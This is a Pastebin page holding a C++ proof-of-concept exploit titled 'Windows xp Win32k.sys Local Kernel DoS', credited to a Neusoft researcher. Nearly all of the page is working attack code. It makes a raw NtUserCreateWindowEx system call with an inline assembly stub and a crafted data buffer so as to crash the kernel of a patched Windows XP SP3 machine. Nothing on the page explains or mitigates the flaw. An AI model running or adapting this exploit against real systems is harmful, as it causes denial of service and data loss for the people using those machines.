Advertisement
The_KGB

Windows xp Win32k.sys Local Kernel DoS

May 3rd, 2012
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.85 KB | None | 0 0
  1. ////////////////////////////////////////////////////////////////////////////
  2. //
  3. // Title: Microsoft Windows xp Win32k.sys Local Kernel DoS Vulnerability
  4. // Author: Lufeng Li of Neusoft Corporation
  5. // Vendor: www.microsoft.com
  6. // Vulnerable: Windows xp sp3(full patch)
  7. //
  8. /////////////////////////////////////////////////////////////////////////////
  9.  
  10. #include <Windows.h>
  11. #include <stdio.h>
  12.  
  13. void NtUserCreateWindowEx(HANDLE d1,int d2,int d3)
  14. {
  15.     _asm{
  16.         xor eax,eax
  17.         push eax
  18.         push eax
  19.             push eax
  20.             push eax
  21.             push eax
  22.             push eax
  23.             push eax
  24.         push eax
  25.         push eax
  26.             push eax
  27.             push eax
  28.             push eax
  29.             push d3
  30.             push d2
  31.         push d1
  32.         push eax
  33.         mov eax,0x1157
  34.         mov edx,7FFE0300h
  35.         call  dword ptr[edx]
  36.         ret 0x3c
  37.     }
  38. }
  39. void main()
  40. {
  41.     UINT i=0;
  42.     UINT c[]={
  43.  0x00000000,0x28001500,0xff7c98cc,0x23ffffff
  44. ,0x167c98cc,0x007c98fb,0x02001500,0x78010000
  45. ,0x00000000,0x00001500,0x00000000,0x00001500
  46. ,0x00000000,0x00001500,0x00000000,0x00000000
  47. ,0x00000000,0x00000000,0x34000000,0x3cc00000
  48. ,0x5c0007fb,0x617c92f6,0x347c92f6,0x00c00000
  49. ,0x00000000,0x18000000,0x000007fb,0xf8000000
  50. ,0x200007fd,0x347c92e9,0x02c00000,0x4c000000
  51.     };
  52.         HWND _wnd = CreateWindowEx(WS_EX_TOPMOST,
  53.                                 "magic",
  54.                                 "magic",
  55.                                 WS_POPUP,
  56.                                 100,
  57.                                 100,
  58.                                 100,
  59.                                 100,
  60.                                 0,
  61.                                 0,
  62.                                 GetModuleHandle( 0 ),
  63.                                 0);
  64.     NtUserCreateWindowEx(_wnd,0x26,(UINT)c);
  65. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement